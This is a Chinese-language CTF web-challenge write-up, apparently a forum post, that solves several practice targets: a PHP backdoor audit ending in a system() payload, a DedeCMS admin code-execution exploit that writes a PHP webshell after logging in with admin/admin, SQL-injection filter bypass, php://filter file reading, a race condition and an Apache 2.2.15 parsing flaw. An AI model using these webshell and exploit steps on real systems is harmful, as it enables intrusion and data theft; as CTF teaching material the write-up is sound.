全是Web题,虽然大都是原题,但是质量不错,刷完后感觉学到了不少知识。
非主流老哥的后门,你进得去么,靶机:http://114.55.36.69:8020
这道题的考点在于
- 检测ua头中有没有传入值的md5加密后的字符串
- 绕过字符串切分,成功拼接url
- 利用
$f($d)
类型的一句话木马
访问http://114.55.36.69:8020/upload/dama.xxxx
得到源码
php格式化后http://www.jsons.cn/phpformat/
,进行审计
1 2 3 4 5 6 7 | $a = isset($_POST[ 'pass' ]) ? trim($_POST[ 'pass' ]) : '';
if ($a = = '') {
echologin();
} else { / /
chkpass($a);
helloowner($a);
}
|
可以看到最开始,如果当参数pass
不为空的时候,调用chkpass
函数进行判断
1 2 3 4 5 6 | function chkpass($a) {
if (stripos($_SERVER[ 'HTTP_USER_AGENT' ], md5($a)) = = = false) { / / stripos查找字符串首次出现的位置(不区分大小写)
echofail( 1 );
}
return true;
}
|
而chkpass
则是检测,user_agent
头里有没有,md5加密过的pass
参数的值
向下接着看helloowner
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | function helloowner($a) { / / 字符串拼接函数
$b = gencodeurl($a); / / 如果长度> 40 ,则进行截取拼接,如果< 40 返回的url为http: / / goodweb.com
$c = file_get_contents($b); / / 读取给定网址的文件内容
if ($c = = false) {
echofail( 2 );
}
$d = @json_decode($c, 1 ); / / 将读取到的内容进行json_decode 解码,以数组形式返回?
if (!isset($d[ 'f' ])) { / / 如果$d[ 'f' ]未获取到,则输出fail3
echofail( 3 );
}
$d[ 'f' ]($d[ 'd' ]);
/ / 否则的话,将拼接函数执行
}
function gencodeurl($a) { / / url切分
$e = md5(date( "Y-m-d" ));
if (strlen($a) > 40 ) { / / 如果长度> 40 ,$f = a[ 30 : 35 ],$g = a[ 10 : 20 ]
$f = substr($a, 30 , 5 );
$g = substr($a, 10 , 10 );
} else {
$f = 'good' ;
$g = 'web.com' ;
}
$b = 'http://' . $f . $g;
return $b;
}
|
helloowner
则是进行url切分拼接,和json_decode后执行$d['f']($d['d']);
这里可以把url切分函数,单独分离出来,搭在到本地进行测试

成功绕过。
而$d['f']($d['d']);
可以用于构造命令执行的一句话木马(这里构造代码执行eval一句话失败,无法被执行)
这里构造payload
1 2 3 4 5 6 7 8 | <! - - ?php
$url = array(
"f" = - - > "system" ,
"d" = > "cat ../flag.php"
);
$url = json_encode($url);
echo $url;
?>
|
最终访问输出如下
1 | { "f" : "system" , "d" : "cat ..\/flag.php" }
|
构造并发送payload,获得flag

放出来好几天的东西,随便玩玩http://114.55.36.69:8008
默认后台,后台管理员登陆页面弱口令admin/admin
发现dedecms版本为DedeCMS_V57_UTF8_SP2,在网上可以找到它的后台代码执行漏洞,https://www.freebuf.com/vuls/164035.html
访问http://114.55.36.69:8008/dede/tpl.php?action=upload
,右击查看源代码获取token值

写入一句话木马
http://114.55.36.69:8008/dede/tpl.php?filename=flag0.lib.php&action=savetagfile&content=%3C?php%20system($_POST[%27cmd%27]);%20?%3E&token=89f28c36f44cd0849bc2c43880b5dd18

访问写入的木马获取到flag路径

getflag

你以为还是简单的新闻搜索网站么 http://114.55.36.69:8030
这里过滤了union
、select
使用mysql内联注释进行绕过

常规操作,试一试 http://114.55.36.69:8009/
这里存在本地文件包含,且php拼接后缀
发现其web根目录下存在flag.php
,直接php伪协议读取
1 | http: / / 114.55 . 36.69 : 8009 / index.php?url = php: / / filter / read = convert.base64 - encode / resource = flag
|

base64解码即可得到flag

简单的新闻搜索网站 http://114.55.36.69:8010
简单的post注入

ctf打多了,现在咱们把hackerone的漏洞复现一下吧。小曾师傅花了好几天写了一套模拟hackerone上的漏洞的程序,恩阿。很有趣哦~这可是企业实实在在遇到的问题哦!不是脑洞大开题 请各位亲们谨慎思考。靶机:http://114.55.36.69:8023
- 注册用户绑定自己邮箱
- 获取校验链接
- 请求校验链接
- 在请求校验链接的同时,修改绑定邮箱为管理员邮箱如果能够在代码执行“校验成功”和“更新账户绑定邮箱状 态”步骤之间成功修改邮箱,就能直接将邮箱状态设置为已校验(条件竞争/时间竞争)
详细步骤
大约在15亿年前,生活在地球上的恐龙中有一种很奇怪的恐龙,他们有一种奇怪的特性,那就是当在捕杀猎物的时候,如果猎物发出惊讶的表情的时候,他们也会发出惊讶的表情来告诉猎物“你们快要死了”,然而这种特性并没什么用处。。。因为我编不下去了。。以上这个故事是我瞎编的。。。靶机:http://114.55.36.69:8022
这是一道代码审计题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <! - - ?php
highlight_file(__FILE__);
ini_set( "display_error" , false);
error_reporting( 0 );
$ str = isset($_GET[ 'A_A' ])?$_GET[ 'A_A' ]: 'A_A' ;
if (strpos($_SERVER[ 'QUERY_STRING' ], "A_A" ) ! = = false) {
echo 'A_A,have fun' ;
}
elseif ($ str < 9999999999 ) {
echo 'A_A,too small' ;
}
elseif ((string)$ str - - > 0 ) {
echo 'A_A,too big' ;
}
else {
echo file_get_contents( 'flag.php' );
}
?>
|
$_SERVER['QUERY_STRING']
会获取到所有的文件后面传递的所有参数。
下面的实验可以直观的展现出它的作用

php有以下特性
- php自身在解析请求时,会把+和.解析成下划线
- 数组与数字比较,永远大于数字
- 字符a在和整形进行弱类型比较时,会被强制转换成整形,其值为0
利用以上特性进行绕过

瓶子里的酒啊,越久越好,靶机:http://114.55.36.69:8017
作为一个不会代码审计的弱鸡,看了两个小时代码,猜测可能在上传解压后判断文件名不合法然后删除文件的地方存在条件竞争
1 2 3 4 5 6 7 8 | foreach($files as $name){
if (!in_array(getExt($name), array( '.jpg' , '.png' , '.jpeg' , '.gif' )) || strpos($name, '.ph' ) ! = = false){
unlink($tmpdir. '/' .$name);
continue ;
}
$files_num + + ;
echo "/upload/" .md5($tmpname). "/{$name}\n" ;
}
|
结果发现每次上传的时候都会有几秒的sleep时间,并不能成功竞争,并且如果爆破的话,会导致web无法正常访问。
最后发现是考点是apache2.2.15的解析漏洞,跟代码怎么写没有关系。。。
在apache2.2.15版本的情况下,test.php.png
及.jpg
、.gif
等均会被解析成php文件来执行,高版本的apach服务器不存在此漏洞。
[注意]看雪招聘,专注安全领域的专业人才平台!
最后于 2020-4-21 14:58
被flag0编辑
,原因: 修复paload错别字